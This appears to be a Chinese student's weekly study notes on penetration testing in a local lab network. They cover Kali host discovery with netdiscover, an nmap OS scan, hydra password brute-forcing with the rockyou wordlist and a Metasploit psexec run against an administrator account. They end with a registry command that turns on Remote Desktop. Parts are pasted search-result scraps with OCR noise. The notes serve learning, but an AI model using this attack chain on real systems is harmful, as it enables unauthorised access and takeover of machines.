2025-04-13 周报4-4.12

netdiscover ifconfig:查看kali的ip

```
-$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 192.168.0.104 netmask 255.255.255.0 broadcast 192.168.0.255
       inet6 fe80::e6ad:f6c0:a715:4ba6 prefixlen 64 scopeid 0x20<link>
       ether 00:0c:29:99:26:3e txqueuelen 1000 (Ethernet)
       RX packets 20 bytes 2560 (2.5 KiB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 46 bytes 6337 (6.1 KiB)
      TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
       inet 127.0.0.1 netmask 255.0.0.0
       inet6 ::1 prefixlen 128 scopeid 0x10<host>
       loop txqueuelen 1000 (Local Loopback)
       RX packets 24 bytes 1440 (1.4 KiB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 24 bytes 1440 (1.4 KiB)
      TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

sudo netdiscover -r +ip (ip最后一个点后的数改为0/24) :查找该网络环境下的所有设备

- Jagueranen				
IP us final to	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.0.1 192.168.0.101	5c:e8:d3:22:68:b1 cc:f9:e4:80:c1:a9	1 1		Signalinks Communication Technology Co., Ltd Intel Corporate



Signalinks Communication Technology Co., Ltd





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深圳市信丰伟业科技有限公司 - 企查查



3天前 英文名Signalinks Communication Technology Co., Ltd. 注册地址 深圳市龙华区民治街道北站社区龙华区数字创新中心(民治股份商业中 心)C栋3906-3910(一照多址企业)(邮编518131)附近企业 ...







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■资讯



Intel Corporate



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Intel Corporate ^Q 指的是英特尔公司 ^Q (Intel Corporation)针对企业用户设计的高质量无线网络接口设备。这些设备通常用于企业级应用,提供更强的数据处理能力和更稳定的连接,适用于需要高稳定性和高性能的网络环境 1。

▶视频

三 筆记

❷地图

历史背景和主要功能

英特尔公司 (Intel Corporation) 由罗伯特·诺伊斯、戈登·摩尔和安迪·格鲁夫于1968年在美

nmap+ip+-O:扫描设备具体信息和开放端口

```
-$ nmap 192.168.0.101 -0
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-12 02:27 EDT
Nmap scan report for bogon (192.168.0.101)
Host is up (0.00050s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT
        STATE SERVICE
1688/tcp open nsjtp-data
MAC Address: CC:F9:E4:80:C1:A9 (Intel Corporate)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP|2019 (89%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows XP SP3 (89%), Microsoft Windows Server 2019 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
DS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.81 seconds
```

hydra hydra -L(账号字典)-P (密码字典) IP +协议 hydra -l 账户名 -p 密码 IP +协议 kali自带字典:

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```
wordlists ~ Contains the rockyou wordlist
usr/share/wordlists
- amass -> /usr/share/amass/wordlists
 - dirb -> /usr/share/dirb/wordlists
 - dirbuster -> /usr/share/dirbuster/wordlists
 - dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
 - fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
 - fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
 - john.lst -> /usr/share/john/password.lst
 - legion -> /usr/share/legion/wordlists
 - metasploit -> /usr/share/metasploit-framework/data/wordlists
 - nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
  - rockyou.txt
  sqlmap.txt -> /usr/share/sqlmap/data/txt/wordlist.txt
 - wfuzz -> /usr/share/wfuzz/wordlist
  wifite.txt -> /usr/share/dict/wordlist-probable.txt
 -(kali%kali)-[/usr/share/wordlists]
   -(<mark>kali® kali</mark>)-[/usr/share/wordlists]
    cat rockyou.txt grep swy
```

杳看文档内密码数目:

s cat **rockyou.txt** | wc -l 14344392

METASPLOIT msfonsole:启动

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启动 Metasploit:



搜索漏洞模块:

使用漏洞模块:

```
bash
use [模块名]
```

设置目标:



运行攻击:



```
psexec模块 search psexec
```

- 22 _ AKA: ETERNALBLUE
 23 auxiliary/scanner/smb/psexec_loggedin_users
- ows Authenticated Logged In Users Enumeration
 - 24 exploit/windows/smb/psexec
- ws Authenticated User Code Execution
 - 25 _ target: Automatic

```
msf6 exploit(windows/smb/psexec) > set rhost 192.168.0.104
rhost => 192.168.0.104
msf6 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf6 exploit(windows/smb/psexec) > set smbpass swy
smbpass => swy
msf6 exploit(windows/smb/psexec) > run
```

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f